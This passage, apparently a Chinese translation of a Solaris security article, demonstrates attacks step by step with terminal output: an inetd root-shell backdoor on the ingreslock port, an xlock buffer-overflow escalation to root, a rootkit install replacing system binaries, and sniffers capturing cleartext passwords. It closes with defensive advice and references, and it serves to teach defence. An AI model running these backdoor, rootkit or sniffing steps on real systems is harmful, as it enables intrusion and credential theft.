root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x
然后,执行以下命令来检查ingreslock进程是否生效:
# netstat -a | grep ingres
*.ingreslock *.* 0 0 0 0 LISTEN
黑客可以用以下命令建立Telnet连接,从而获得root权限:
# telnet nfs ingreslock
Trying 192.168.0.20…
Connected to nfs.
Escape character is ’^]’.
# hostname
nfs
这是一个很常见的情形,某个公司职员可以访问系统,但没有root特权,如果系统不足够安全的话,就会给居心不良的职员以可乘之机。
雇员恶意攻击系统以获取更多权限的问题是确实存在的,但很多系统管理员或经理人员总是忽视这个问题,他们或者认为这样的事情不会发生,或者觉得应该充分相信雇员。这样就很容易引发严重的安全问题。
许多系统都会有各种各样的用户,他们的权限根据用户ID和所在的用户组确定,一般来说,这些用户没有root口令,也没有root权限。但当一个授权用户心存恶意的时候,当某个入侵者采用某种手段得到了一个有效的账户的时候,将会发生什么事情呢?
进入系统以后,入侵者大多会利用某些软件的缓冲区溢出问题进行攻击来得到root权限。例如,2001年8月10号,就有人发现xlock存在缓冲区溢出问题。(xlock是X-windows用来锁屏的程序)这个漏洞很有价值,因为xlock是用 setuid root命令安装的。
在网上可以很容易地找到利用这个漏洞进行攻击的源代码,只需要131行,在我们的例子中,我们用gcc编译了这个程序,然后放在测试系统ganassi上面。下面是攻击的过程:
console login: noorder
Password:
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0×502(1282)
the padding zeros number = 2
Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root
现在我们已经得到root权限了,下面的攻击就很容易了,可以安装sniffer,也可以设置后门,运行rootkits,等等。
这一节介绍前面提到的几个工具的用法,我们给出使用的例子和解释输出结果的技巧,把这些信息和前面的攻击案例结合起来,可以使进攻更犀利,更有效。
端口扫描工具用法:
我们用下面的例子解释Nmap的用法。从输出结果可以看到系统当前所运行的服务,Nmap辨别目标操作系统版本的能力非常有用,因为这样可以为其后的攻击节省很多时间。
根据Nmap的输出结果,这个系统是一个Solaris2.6或者Solaris7系统,大多数缺省的服务都在运行。
输出结果如下:
# /usr/local/nmap -O ganassi
Starting nmap V. 2.53 (www.insecure.org/nmap/)
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open sunrpc
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
Remote operating system guess: Solaris 2.6 – 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)
Nmap run completed — 1 IP address (1 host up) scanned in 37 seconds
漏洞扫描工具
Nessus用法如下:
# nessus -T text localhost 1241 noorder targetfile outfile
nessus检察 targetfile中的主机,并将检查结果保存在 outfile
输出文件如下所示:
Nessus Scan Report
——————
SUMMARY
– Number of hosts which were alive during the test : 1
– Number of security holes found : 2
– Number of security warnings found : 15
– Number of security notes found : 1
TESTED HOSTS
192.168.0.90 (Security holes found)
然后是检查的细节描述:
DETAILS
+ 192.168.0.90 :
. List of open ports :
o unknown (161/udp) (Security hole found)
o unknown (32779/udp) (Security warnings found)
o unknown (32775/tcp) (Security warnings found)
o unknown (32776/udp) (Security warnings found)
o unknown (32778/udp) (Security warnings found)
o unknown (32774/udp) (Security hole found)
o unknown (32777/udp) (Security warnings found)
o unknown (32780/udp) (Security warnings found)
o unknown (32775/udp) (Security warnings found)
o lockd (4045/udp) (Security warnings found)
o unknown (32781/udp) (Security hole found)
. Vulnerability found on port unknown (32774/udp) :
The sadmin RPC service is running.
There is a bug in Solaris versions of
this service that allow an intruder to
execute arbitrary commands on your system.
Solution : disable this service
Risk factor : High
利用这些输出信息,黑客可以按照我们上文描述的方法入侵系统。
另外,nessus还可以发现一种叫做“拒绝服务”式的漏洞:
DETAILS
. List of open ports :
o general/tcp (Security hole found)
. Vulnerability found on port general/tcp :
It was possible
to make the remote server crash
using the ’teardrop’ attack.
A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High
CVE : CAN-1999-0015
使用Rootkits
网络上有不少这种软件,我们使用针对Solaris2.6的一个工具包(sun2.rootkit)来演示。这个rootkit包含三个类型的程序:
网络抓包工具
log文件修改
Internet Relay Chat(IRC)proxy
这个工具包中有一个安装脚本:
ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
– WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id … | -l ]
./secure.sh: usage: kill [ [ -sig ] id … | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
193 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on
efnet
–Using conf file ./sys222.conf
–Configuration:
Daemon port……:9879
Maxusers………:0
Default conn port:6667
Pid File………:./pid.sys222
Vhost Default….:-SYSTEM DEFAULT-
Process Id…….:759
Exit ./sys222{7} :Successfully went into the background.
这个脚本写的既不高明也不标准,但它确实生效了,最终替换了下列系统程序:
/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind
现在攻击者取得了root权限而且这个系统已经变得:
系统管理员很难使用标准的Solaris命令发现入侵者的踪迹,因为这些命令已经被换成了特罗伊木马。
入侵者很容易再次入侵系统,因为login和rpcbind两个程序的新版本将允许进攻者远程登录系统。
Rootkit还在俘虏主机上安装了抓包工具,包括:le,sniff,sniff-10mb,和sniff-100mb.
在我们的系统上只有sniff-100mb可以工作,因为其他几个工具固定死了网卡接口的名称。
Sniff-100mb缺省使用hme0网卡,当网络有活动的时候,程序清晰的打印出结果:
ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.
Log started at => Thu Aug 26 15:31:10 [pid 856]
— TCP/IP LOG — TM: Thu Aug 26 15:31:19 –
PATH: 10.8.10.200(34398) => ganassi(telnet)
STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)’(255)(253)^E(255)(250)^_
: P
: ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
: DTTERM(255)(240)(255)(250)’
: (255)(240)(255)(253)^A(255)(252)^Anoorder
: t00lk1t
: ls
: who
: cd /var/tmp
: ls -al
–
输出中清楚地包含用户名和口令。
这个rootkit中处理log文件的程序叫做zap,它在却省的路径中寻找并修改下面几个文件:utmp,utmpx,wtmp,wtmpx和lastlog.
还有一个工具叫做bot,它可以维护一个专门的IRC通道,用来发送消息或者相应一些命令。
使用Sniffers
为了说明用抓包工具获取用户名和口令的用法,我们用snoop来做实验,搜集这些信息只需要几秒钟就可以了:
先是一个Telnet的例子:
# snoop -d qfe0 port telnet ganassi
ganassi -> nomex-lab TELNET R port=32835
37737313773751login:
nomex-lab -> ganassi TELNET C port=32835 r
ganassi -> nomex-lab TELNET R port=32835 r
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 t
ganassi -> nomex-lab TELNET R port=32835 t
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 Password:
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 t
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 0
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 0
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 l
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 k
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 1
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 t
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 Last login: Thu Mar
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 #
然后是一个IMAP的例子:
# snoop -d qfe0 port imap2 ganassi
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600 * OK ganassi SIMS ™ 2.0p12
IMAP
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 1 capability
ganassi -> jordan IMAP R port=46600
ganassi -> jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”
ganassi -> jordan IMAP R port=46600 2 OK LOGIN completed
使 用snoop是最直接的办法,但如果它运行的时间很长,就会产生大量的数据,很容易引起怀疑,所以更好的办法是采用某种可以仅仅保存用户名和口令的工具, sniffit使其中非常简单的一个,令一个复杂一些,但也更灵活,更强大的工具是dsniff.(它还可以攻击交换式网络)这两个工具都可以长时间的运 行来收集成百上千的用户名和口令。
交换式网络
说到网络抓包,有必要提一下网络交换机,与集线器hub一样,网络交换机把多个系统连接到一个网段中。主要的区别式交换机是基于端口工作的,这种方式下, 交换机的每个端口只能看到发给它的IP包,而不是网上所有的报都可以看到。这样就算一块网卡配成混合模式,它也不能受到发送到其他地方的包。
因此,许多人认为抓包工具没有用。但事实上即便是交换式网络中也需要小心抓包工具,原因有两点:1,一台机器上的抓包工具既可以收集发到本系统的包,也可 以收集从本机发出的包,这样就有更多的口令容易泄漏;2,ARP攻击可以对付网络交换机,是它把所有的包都通过一个固定的端口进行转发,这样sniff仍 然有用武之地。所以,网络交换机是预防sniff攻击的一种方法,但绝不是彻底的方法。
要想真正防止抓包工具,必须采用加密技术。例如,用SSH代替Telnet和FTP,用SSL代替普通的pop3收发邮件。这样才能真正有效地避免sniffing.
Terminal Server(终端控制器)
许多机构经常利用终端控制器管理一些服务器主机(这些主机没有显示器,键盘和鼠标,只能通过远程终端控制台管理)。尽管在数据中心这样做可以节省空间和资源,非常必要,但也应该注意安全性的问题,比如,SUN cluster3.0附带的终端控制器通常是8口的Bay Annex Server。这种终端控制器同样是利用Telnet工作的。以下是snoop纪录的一次root登录中断服务器的过程:
# snoop -d qfe0 nts01
nts01 -> nomex TELNET R port=34395
Rotaries Defined:
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395
Enter Annex p
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 3
nts01 -> nomex TELNET R port=34395
nts01 -> nomex TELNET R port=34395 Attached to port 3
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 ganassi console lo
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 r
nts01 -> nomex TELNET R port=34395 r
nomex -> nts01 TELNET C port=34395 o
nts01 -> nomex TELNET R port=34395 o
nts01 -> nomex TELNET R port=34395 o
nomex -> nts01 TELNET C port=34395 o
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395 t
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Password:
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 0
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 0
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 l
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 k
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 1
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Mar 26 13:04:36 ga
nts01 -> nomex TELNET R port=34395 Last login:
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Thu Mar 26 13:03:06
nts01 -> nomex TELNET R port=34395 SunOS 5.6 Gene
显然,终端服务器同样需要安全保护,可以采用两种方法:一是采用支持SSH的终端服务器,二是把终端服务器与本地子网隔离开来,通过一个支持SSH的网关登录终端服务器。
1. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield,
MA, 1986, page 2442.
2. Common Vulnerability and Exposures (CVE) Web site:
http://cve.mitre.org
3. NMap web site: http://www.nmap.org
4. Nessus web site: http://www.nessus.org
相关资源:
公共出版物:
Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files, Sun BluePrints OnLine, May
2001
Deeths, David and Brunette, Glenn. Using NTP to Control and Synchronize System
Clocks – Part II: Basic NTP Administration and Architecture, Sun BluePrints OnLine,
August 2001.
Noordergraaf, Alex. Building Secure N-Tier Environments, Sun BluePrints OnLine,
October 2000.
Noordergraaf, Alex. Solaris Operating Environment Minimization for Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, November
2000.
Noordergraaf, Alex and Brunette, Glenn. The Solaris Security Toolkit—Quick Start:
Updated for Version 0.3, Sun BluePrints OnLine, June 2001.
Noordergraaf, Alex and Watson, Keith. Solaris Operating Environment Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, April 2001.
Prosise, Chris and Shah, Saumil Udayan. At the Root of Rootkits, CNET Online,
http://builder.cnet.com/webbuilding/0-7532-8-4561014-1.html?tag=st.bl.7532.edt.
7532-8-4561014, January 25, 2001.
Reid, Jason M and Watson, Keith. Building and Deploying OpenSSH in the Solaris
Operating Environment, Sun BluePrints OnLine, July 2001.
Watson, Keith and Noordergraaf, Alex. Solaris Operating Environment Network
Settings for Security: Updated for the Solaris 8 Operating Environment, Sun BluePrints
OnLine, December 2000.
网址:
> Sun BluePrints OnLine: http://sun.com/blueprints
> TripWire: http://www.tripwire.com
> Chkrootkit: http://www.chkrootkit.org/
> Nessus: http://www.nessus.org
> NMap: http://www.nmap.org
> SecurityFocus: http://www.securityfocus.com
> CERT: http://www.cert.org
> SANS Institute: http://www.sans.org
> SunSolve: http://sunsolve.sun.com

















近期评论